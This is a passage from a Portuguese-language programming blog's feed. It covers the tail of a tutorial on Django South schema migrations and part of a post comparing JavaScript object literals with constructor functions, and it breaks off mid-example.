&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;db &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; models

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Blog&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Model&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    titulo &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;CharField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Titulo&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; max_length&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    texto &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;TextField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Texto&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Através do comando &lt;code class=&quot;language-text&quot;&gt;schemamigration&lt;/code&gt;, com parâmetro &lt;code class=&quot;language-text&quot;&gt;–-initial&lt;/code&gt;,
criaremos a nossa primeira migration:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python manage.py schemamigration blog --initial&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vale notar que o comando acima não cria nenhuma tabela no banco de
dados. O que ele faz é criar um conjunto de instruções que representa
este modelo. Na medida que são feitas alterações no modelo, é necessário
gerar novas &lt;em&gt;migrations&lt;/em&gt;, que serão sempre baseados nas estruturas já
criadas.&lt;/p&gt;
&lt;p&gt;Por exemplo, vamos de fato criar a tabela &lt;em&gt;blog&lt;/em&gt; no banco de dados:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python manage.py migrate blog

Running migrations for blog:
- blog:0001_initial
- Loading initial data for blog.
No fixtures found.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Se houvesse alguma &lt;em&gt;fixture&lt;/em&gt;, o &lt;em&gt;South&lt;/em&gt; faria o &lt;em&gt;insert&lt;/em&gt; das informações
para você.&lt;/p&gt;
&lt;p&gt;A primeira &lt;em&gt;migration&lt;/em&gt; foi criada. Como mencionado antes, a partir de
agora toda migration criada será baseada na &lt;em&gt;migration&lt;/em&gt; “anterior”
(podemos deduzir a ordem das &lt;em&gt;migrations&lt;/em&gt; através do prefixo numérico,
no caso acima, o &lt;code class=&quot;language-text&quot;&gt;0001&lt;/code&gt; indica que esta é a primeira).&lt;/p&gt;
&lt;p&gt;Vamos adicionar um campo no modelo (que equivale a uma coluna no banco
de dados), para ilustrar a criação de novas &lt;em&gt;migrations&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# blog/models.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Blog&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Model&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    titulo &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;CharField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Titulo&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; max_length&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    resumo &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;TextField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Resumo&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; blank&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; null&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    texto &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;TextField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Texto&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Não é mais necessário o uso do parâmetro &lt;code class=&quot;language-text&quot;&gt;-–initial&lt;/code&gt;, de agora em
diante precisaremos do parâmetro &lt;code class=&quot;language-text&quot;&gt;–-auto&lt;/code&gt; (que construirá a
&lt;em&gt;migration&lt;/em&gt; automaticamente, de acordo com a primeira já existente):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python manage.py schemamigration blog --auto

+ Added field resumo on blog.Blog
Created 0002_auto__add_field_blog_resumo.py. You can now apply this migration
with: ./manage.py migrate blog&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pronto! Uma nova &lt;em&gt;migration&lt;/em&gt; foi criada… e com um nome bem intuitivo
(repare no prefixo numérico). Basta darmos a ordem de replicar estas
instruções no banco de dados:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python manage.py migrate blog

Running migrations for blog:
- Migrating forwards to 0002_auto__add_field_blog_resumo.
- blog:0002_auto__add_field_blog_resumo
- Loading initial data for blog.
No fixtures found.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A nova coluna foi inserida na tabela &lt;em&gt;blog&lt;/em&gt;, sem necessitar de nenhuma
intervenção manual. Se você ficou curioso para saber como essa “mágica”
acontece, basta abrir as &lt;em&gt;migrations&lt;/em&gt; e ver que são instruções escritas
em &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;, que interagem com o banco de dados “por trás” do &lt;em&gt;ORM&lt;/em&gt;
do &lt;em&gt;Django&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;South&lt;/em&gt; possui mais alguns recursos interessantes (como &lt;em&gt;data
migrations&lt;/em&gt;), que você pode conferir &lt;a href=&quot;http://south.aeracode.org/docs/tutorial/index.html&quot; title=&quot;Aprenda mais sobre o South&quot;&gt;neste tutorial&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://south.aeracode.org/&quot; title=&quot;Visite a página oficial do projeto South&quot;&gt;&lt;em&gt;South – Intelligent schema and data migrations for Django&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Javascript: A diferença entre Constructor Function e Object Literal]]></title><description><![CDATA[Meses atrás, escrevi sobre como era fácil criar objetos em Javascript.
Devo confessar que, a minha visão sobre a utilização da Orientação a…]]></description><link>https://klauslaube.com.br/2011/10/23/javascript-constructor-function-object-literal.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/10/23/javascript-constructor-function-object-literal.html</guid><pubDate>Sun, 23 Oct 2011 15:07:00 GMT</pubDate><content:encoded>&lt;p&gt;Meses atrás, &lt;a href=&quot;/2011/05/16/fazendo-javascript-oo-de-forma-facil.html&quot; title=&quot;Fazendo Javascript OO de forma fácil&quot;&gt;escrevi sobre como era fácil criar objetos em &lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt;.
Devo confessar que, a minha visão sobre a utilização da &lt;a href=&quot;/tag/oop.html&quot; title=&quot;Leia mais sobre OOP&quot;&gt;Orientação a Objetos&lt;/a&gt;
em &lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt; era muito superficial, e que uma dúvida muito pertinente
surgiu na época: Onde usar &lt;em&gt;object literal&lt;/em&gt; e onde usar classes?&lt;/p&gt;
&lt;p&gt;Hoje, depois de entender que a Orientação a Objetos no &lt;em&gt;Javascript&lt;/em&gt; não é
muito diferente da utilizada em outras linguagens, sou capaz de enxergar
as possibilidades utilizando as duas maneiras. E este é o objetivo deste
&lt;em&gt;post&lt;/em&gt;: &lt;strong&gt;compartilhar esta visão com vocês&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Traçando um paralelo&lt;/h2&gt;
&lt;p&gt;O &lt;a href=&quot;http://net.tutsplus.com/&quot; title=&quot;Não conhece o Nettuts? Não perca tempo!&quot;&gt;&lt;em&gt;Nettuts&lt;/em&gt;&lt;/a&gt; fez um &lt;a href=&quot;http://net.tutsplus.com/tutorials/javascript-ajax/the-basics-of-object-oriented-javascript/&quot; title=&quot;The Basics of Object-Oriented JavaScript&quot;&gt;ótimo &lt;em&gt;post&lt;/em&gt;&lt;/a&gt; comparando as diferenças entre
os dois métodos de criação de objetos (este artigo é fortemente baseado
na publicação deles). Vamos adotar a estratégia deles e criar estruturas
semelhantes utilizando &lt;em&gt;object literal&lt;/em&gt; e &lt;em&gt;constructors&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; object_literal &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  Automovel&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    quantidadeRodas&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; constructor &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token function-variable function&quot;&gt;Automovel&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;quantidadeRodas &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Acima já reparamos numa das maiores vantagens do &lt;em&gt;object literal&lt;/em&gt;:
&lt;strong&gt;criar &lt;em&gt;namespaces&lt;/em&gt;&lt;/strong&gt;. Isolamos as duas declarações para que possamos
usar os mesmos nomes:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// object literal&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; carro &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; object_literal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Automovel&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;quantidade de rodas:&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; carro&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;quantidadeRodas&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 4&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// constructor function&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; carro &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;constructor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Automovel&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;quantidade de rodas:&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; carro&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;quantidadeRodas&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 4&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Acessar &lt;code class=&quot;language-text&quot;&gt;quantidadeRodas&lt;/code&gt; de &lt;code class=&quot;language-text&quot;&gt;object_literal.Automovel&lt;/code&gt; é muito
mais fácil do que de &lt;code class=&quot;language-text&quot;&gt;constructor.Automovel&lt;/code&gt;. Não é errado dizer que
&lt;code class=&quot;language-text&quot;&gt;quantidadeRodas&lt;/code&gt; de &lt;code class=&quot;language-text&quot;&gt;constructor.Automovel&lt;/code&gt; é um “atributo de
instância”, logo, é necessário criar uma instância da classe para
acessá-lo.&lt;/p&gt;
&lt;h2&gt;Os métodos entram em ação&lt;/h2&gt;
&lt;p&gt;Vamos atribuir aos nossos automóveis a capacidade de &lt;code class=&quot;language-text&quot;&gt;ligarMotor&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; object_literal &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  Automovel&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    quantidadeRodas&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    motorLigado&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

    &lt;span class=&quot;token function-variable function&quot;&gt;ligarMotor&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token comment&quot;&gt;//object_literal.Automovel.motorLigado = true;&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;motorLigado &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; constructor &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token function-variable function&quot;&gt;Automovel&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;quantidadeRodas &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;motorLigado &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

constructor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Automovel&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prototype&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;ligarMotor&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;motorLigado &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Aqui que as diferenças começam a ficar mais “gritantes”.&lt;/p&gt;
&lt;p&gt;Por não conseguirmos criar uma instância de um &lt;em&gt;object literal&lt;/em&gt; (afinal
de contas, ele já é um objeto), &lt;del&gt;não conseguimos fazer uma referência
&lt;code class=&quot;language-text&quot;&gt;this&lt;/code&gt; como em classes&lt;/del&gt; não temos a definição de atributos e métodos
via &lt;em&gt;Prototype&lt;/em&gt;. &lt;del&gt;Se o fizéssemos, estaríamos explorando atributos da
função anônima associada à propriedade &lt;code class=&quot;language-text&quot;&gt;ligarMotor&lt;/code&gt;, da propriedade
&lt;code class=&quot;language-text&quot;&gt;Automovel&lt;/code&gt;, da variável &lt;code class=&quot;language-text&quot;&gt;object_literal&lt;/code&gt;&lt;/del&gt;. Mas, conseguimos
&lt;strong&gt;sim&lt;/strong&gt; explorar atributos e métodos do objeto através do &lt;code class=&quot;language-text&quot;&gt;this&lt;/code&gt;. O
mesmo ocorre em &lt;code class=&quot;language-text&quot;&gt;ligarMotor&lt;/code&gt; de constructor, o &lt;code class=&quot;language-text&quot;&gt;this&lt;/code&gt; é capaz de
acessar os valores e métodos nas instâncias de &lt;code class=&quot;language-text&quot;&gt;Automovel&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// object literal&lt;/span&gt;
carro&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;ligarMotor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;motor ligado:&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; carro&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;motorLigado&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// true&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// constructor function&lt;/span&gt;
carro&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;ligarMotor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;motor ligado:&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; carro&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;motorLigado&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// true&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Atributos diferentes para instâncias diferentes&lt;/h2&gt;
&lt;p&gt;Sabemos que um automóvel pode ter 2, 4, 6 ou até 8 rodas, então vamos
adaptá-los:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; constructor &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token function-variable function&quot;&gt;Automovel&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;qtndRodas&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;quantidadeRodas &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; qtndRodas&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;motorLigado &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ué?! Mas e o &lt;strong&gt;object literal&lt;/strong&gt;? Pois é.. como ele não pode gerar
instâncias (novamente, ele já é um objeto), temos que alterar “na mão”:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// object literal&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; moto &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; object_literal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Automovel&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
moto&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;quantidadeRodas &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
